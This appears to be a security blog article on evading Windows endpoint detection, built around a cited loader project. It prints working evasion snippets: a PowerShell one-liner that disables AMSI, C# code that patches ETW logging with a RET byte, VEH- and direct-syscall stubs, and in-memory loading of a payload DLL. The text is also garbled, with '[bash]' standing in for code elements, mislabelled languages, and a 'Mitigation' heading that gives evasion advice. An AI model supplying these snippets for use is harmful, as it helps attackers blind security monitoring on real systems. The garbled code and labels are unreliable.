Advanced EDR Bypass Techniques: Exploring Loaders and Syscall Manipulation

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Introduction

Endpoint Detection and Response (EDR) solutions are critical for modern cybersecurity, but attackers continually develop bypass techniques. This article explores advanced methods like Event Tracing for Windows (ETW) patching, AMSI bypasses, and VEH-based syscall execution, as demonstrated in Patrick Tung’s VEHNetLoader project.

Learning Objectives

  • Understand how EDR bypass techniques like ETW/AMSI evasion work.
  • Learn to deploy a .NET loader using VEH (Vectored Exception Handling) for stealthy syscalls.
  • Explore practical code snippets for offensive security research.

1. Bypassing AMSI via Memory Patching

Command (PowerShell):

[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Steps:

  1. This PowerShell snippet disables AMSI by forcing `amsiInitFailed` to true.
  2. AMSI scans PowerShell scripts for malicious content; patching this field prevents scanning.

3. Execute in-memory to avoid disk-based EDR detection.

2. Disabling ETW for Stealthy Execution

C Code:

var etwPatch = new byte[] { 0xC3 }; // RET instruction 
var etwAddr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); 
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out uint oldProtect); 
Marshal.Copy(etwPatch, 0, etwAddr, 1);

Steps:

1. Locate `EtwEventWrite` in `ntdll.dll`.

  1. Overwrite its start with `0xC3` (RET) to terminate ETW logging.

3. Use `VirtualProtect` to bypass memory protection.

3. VEH-Based Syscall Execution

C++ Snippet (VEHNetLoader):

AddVectoredExceptionHandler(1, VEH_Handler); 
// Trigger exception to invoke handler 
__asm { int 3 }

Steps:

1. Register a VEH handler to intercept exceptions.

  1. Use `int 3` to trigger a breakpoint, redirecting execution to the handler.
  2. The handler parses syscall IDs and executes them directly, bypassing user-mode hooks.

4. Loading .NET Assemblies Unmonitored

C (Inline Assembly Load):

Assembly.Load(File.ReadAllBytes("payload.dll"));

Mitigation:

  • EDRs often hook Assembly.Load. Combine with ETW/AMSI bypasses for evasion.

5. Direct Syscall Invocation

NASM (x64 Syscall):

mov r10, rcx 
mov eax, [bash] 
syscall

Steps:

  1. Syscall IDs vary by Windows version (e.g., `NtAllocateVirtualMemory` = 0x18).
  2. Directly invoke via `syscall` instruction to avoid API hooking.

What Undercode Say

Key Takeaways:

  1. EDRs are Not Infallible: Techniques like VEH and direct syscalls exploit gaps in user-mode monitoring.
  2. Defense Requires Layering: Combine kernel-mode telemetry (e.g., Kernel Callbacks) with behavioral analysis.
  3. Ethical Boundaries: These methods are for research; unauthorized use violates laws like the CFAA.

Analysis:

The VEHNetLoader project highlights the cat-and-mouse game in cybersecurity. As EDRs adopt kernel-mode protections (e.g., Microsoft Kernel Data Protection), attackers pivot to hardware-level exploits (e.g., Intel CET bypasses). Future defenses may rely on AI-driven anomaly detection, but offensive research will continue to expose blind spots.

Prediction:

By 2026, EDR solutions will integrate machine learning to detect VEH/syscall anomalies, but attackers will counter with adversarial AI (e.g., poisoning training data). The industry must prioritize transparency in detection logic to stay ahead.

For deeper exploration, review Patrick Tung’s VEHNetLoader on GitHub.

IT/Security Reporter URL:

Reported By: Patrick Tung – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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